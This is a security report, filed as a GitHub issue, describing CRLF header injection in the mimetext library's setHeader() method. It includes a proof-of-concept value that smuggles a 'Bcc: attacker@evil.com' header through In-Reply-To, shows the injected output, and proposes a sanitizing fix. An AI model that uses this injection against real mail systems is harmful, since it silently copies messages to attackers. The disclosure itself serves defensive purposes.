Skip to content

Security Report: Custom Header Values Not Sanitized #81

@nullvariable

Description

@nullvariable

The Problem

Custom headers set via setHeader() accept newline characters without sanitization. An attacker who controls header values can inject additional headers into the MIME message.

How It Works

When you call msg.setHeader('In-Reply-To', userInput), the library stores that value and dumps it directly into the final message:

// MIMEMessageHeader.ts - custom header handling
return this.setCustom({
    name: name,
    value: value,
    custom: true,
    dump: (v: unknown) => (typeof v === "string" ? v : ""),  // no filtering
});

Compare this to how Subject is handled:

dump: (v) => "=?utf-8?B?" + this.envctx.toBase64(v) + "?="  // encoded

Subject gets base64 encoding. Custom headers get nothing.

Proof of Concept

import { MIMEMessage } from 'mimetext'

const msg = new MIMEMessage()
msg.setSender('sender@example.com')
msg.setRecipient('recipient@example.com')
msg.setSubject('Normal subject')

// Malicious input
msg.setHeader('In-Reply-To', '<legit@msg.id>\r\nBcc: attacker@evil.com')

console.log(msg.asRaw())

Output:

From: sender@example.com
To: recipient@example.com
Subject: Normal subject
In-Reply-To: <legit@msg.id>
Bcc: attacker@evil.com
...

The injected Bcc header becomes part of the message.

What an Attacker Can Do

  • Add hidden recipients via BCC injection
  • Spoof arbitrary headers
  • Manipulate how mail servers process the message

Affected Headers

Any header set through setHeader(). Common targets:

  • In-Reply-To
  • References
  • X-* custom headers

Suggested Fix

Strip CR/LF from custom header values:

dump: (v: unknown) => (typeof v === "string" ? v.replace(/[\r\n]/g, ' ').trim() : ""),

Or throw an error if newlines are detected - that might be better since silent sanitization could mask bugs in calling code.

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions